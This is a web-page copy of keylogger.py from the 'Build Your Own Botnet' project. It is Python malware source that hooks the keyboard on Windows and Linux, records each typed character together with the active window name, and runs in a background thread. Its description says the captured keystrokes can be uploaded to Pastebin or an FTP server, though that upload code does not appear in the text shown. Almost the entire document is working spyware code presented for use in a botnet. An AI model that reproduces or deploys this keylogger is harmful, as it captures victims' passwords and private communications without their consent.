Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/modules/keylogger.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Keylogger (Build Your Own Botnet)'
4
5
# standard library
6
import os
7
import sys
8
import time
9
import threading
10
11
try:
12
from StringIO import StringIO # Python 2
13
except ImportError:
14
from io import StringIO # Python 3
15
16
# packages
17
if sys.platform == 'win32':
18
import pyHook as hook_manager
19
import pythoncom
20
else:
21
import pyxhook as hook_manager
22
23
# utilities
24
import util
25
26
# globals
27
abort = False
28
command = True
29
packages = ['util','pyHook','pythoncom'] if os.name == 'nt' else ['util','pyxhook']
30
platforms = ['win32','linux2','darwin']
31
window = None
32
max_size = 4000
33
logs = StringIO()
34
threads = {}
35
results = {}
36
usage = 'keylogger <run/status/stop>'
37
description = """
38
Log the keystrokes of the currently logged-in user on the
39
client host machine and optionally upload them to Pastebin
40
or an FTP server
41
"""
42
43
# main
44
def _event(event):
45
global logs
46
global window
47
try:
48
if event.WindowName != window:
49
window = event.WindowName
50
logs.write("\n[{}]\n".format(window))
51
if event.Ascii > 32 and event.Ascii < 127:
52
logs.write(chr(event.Ascii))
53
elif event.Ascii == 32:
54
logs.write(' ')
55
elif event.Ascii in (10,13):
56
logs.write('\n')
57
elif event.Ascii == 8:
58
logs.seek(-1, 1)
59
logs.truncate()
60
else:
61
pass
62
except Exception as e:
63
print('{} error: {}'.format(event.__name__, str(e)))
64
return True
65
66
def _run_windows():
67
global abort
68
while True:
69
hm = hook_manager.HookManager()
70
hm.KeyDown = _event
71
hm.HookKeyboard()
72
pythoncom.PumpMessages()
73
if abort:
74
break
75
76
def _run():
77
global abort
78
while True:
79
hm = hook_manager.HookManager()
80
hm.KeyDown = _event
81
hm.HookKeyboard()
82
time.sleep(0.1)
83
if abort:
84
break
85
86
def run():
87
"""
88
Run the keylogger
89
90
"""
91
global threads
92
try:
93
if 'keylogger' not in threads or not threads['keylogger'].is_alive():
94
if os.name == 'nt':
95
threads['keylogger'] = threading.Thread(target=_run_windows, name=time.time())
96
else:
97
threads['keylogger'] = threading.Thread(target=_run, name=time.time())
98
return threads['keylogger']
99
except Exception as e:
100
util.log(str(e))
101
102